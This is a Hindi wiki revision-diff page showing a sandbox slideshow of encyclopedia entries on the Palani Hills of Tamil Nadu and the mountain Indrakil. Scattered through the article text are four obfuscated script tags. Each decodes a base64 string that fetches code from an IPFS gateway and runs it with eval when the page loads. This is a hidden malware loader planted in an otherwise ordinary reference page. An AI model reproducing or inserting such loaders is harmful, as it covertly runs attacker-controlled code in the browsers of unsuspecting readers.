"सदस्य:गोविन्द राम/sandbox" के अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
पंक्ति 1: | पंक्ति 1: | ||
{{#slideshow: | {{#slideshow: | ||
− | <div style=" | + | <div style="width:1000px">{{:पालनी पहाड़ियाँ}}</div> |
− | <div style=" | + | <div style="width:1000px">{{:इंद्रकील}}</div> |
|id=abc refresh=5000 transition=cut | |id=abc refresh=5000 transition=cut | ||
}} | }} |
12:52, 28 अक्टूबर 2011 का अवतरण
{{#slideshow:
पालनी पहाड़ियाँ दक्षिण भारत के दक्षिण-पश्चिम तमिलनाडु में स्थित, पश्चिमी घाट और इलायची पहाड़ियों का एक पूर्ववर्ती विस्तार है।
- केरल राज्य में अन्नामलाई पहाड़ियों का क्रमिक विस्तार रूप पालनी लगभग 70 कि.मी. चौड़ा और 23 कि.मी. लंबा है।
- दक्षिण में पालनी पहाड़ियाँ अचानक तीखे ढाल के रूप में समाप्त हो जाती हैं।
- पश्चिम में स्थित ऊपरी पालनी घुमावदार पहाड़ियों का क्षेत्र है, जो मोटी घास से ढका हुआ है; घाटियों में घने जंगल पाए जाते हैं।
- इसकी चोटियों में वंडारावु 2,553 मीटर, वेंबाडी शोला 2,505 मीटर; और क्रुमांकाडी 2,451 मीटर शामिल हैं।
- कटिबन्धीय वर्षा वनों से ये पहाड़ियाँ आच्छादित हैं। पालनी पहाड़ी चाय के बाग़ानों के लिए प्रसिद्ध है। गर्म मसालों की खेती भी यहाँ पर की जाती है।
- पालनी पहाड़ियों पर बसे गांवों में सब्ज़ियों और फलों की खेती होती है, जिनमें आलू, फलियां कंद वाली फ़सलें नाशपाती और आडू शामिल हैं। पालनी में बॉक्साइट की खानें भी हैं।
- पूर्व में निम्न पालनी औसतन 900-1,500 मीटर भ्रमित कर देने वाली ऊँची चोटियों का अव्यवस्थित समूह है, जो गहरी वनाच्छादित घाटियों से विभक्त हैं।
- सागौन के वृक्ष भी व्यापक पैमाने पर लगाए गए हैं।
- महत्त्वपूर्ण नक़दी फ़सलों में कॉफ़ी, केला, इलायची, नीबू प्रजाति के फल और हल्दी शामिल हैं।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
इंद्रकील हिमालय के उतर में एक छोटा सा पर्वत।
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
'हिमवन्तमतिक्रम्य गंधमादनमेव च, अत्यक्रामत् स दुर्गाणि दिवारात्रमतिन्द्रत:। इंद्रकीलं समासाद्यततोऽतिष्ठद् धनंजय:'।[1]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|id=abc refresh=5000 transition=cut }}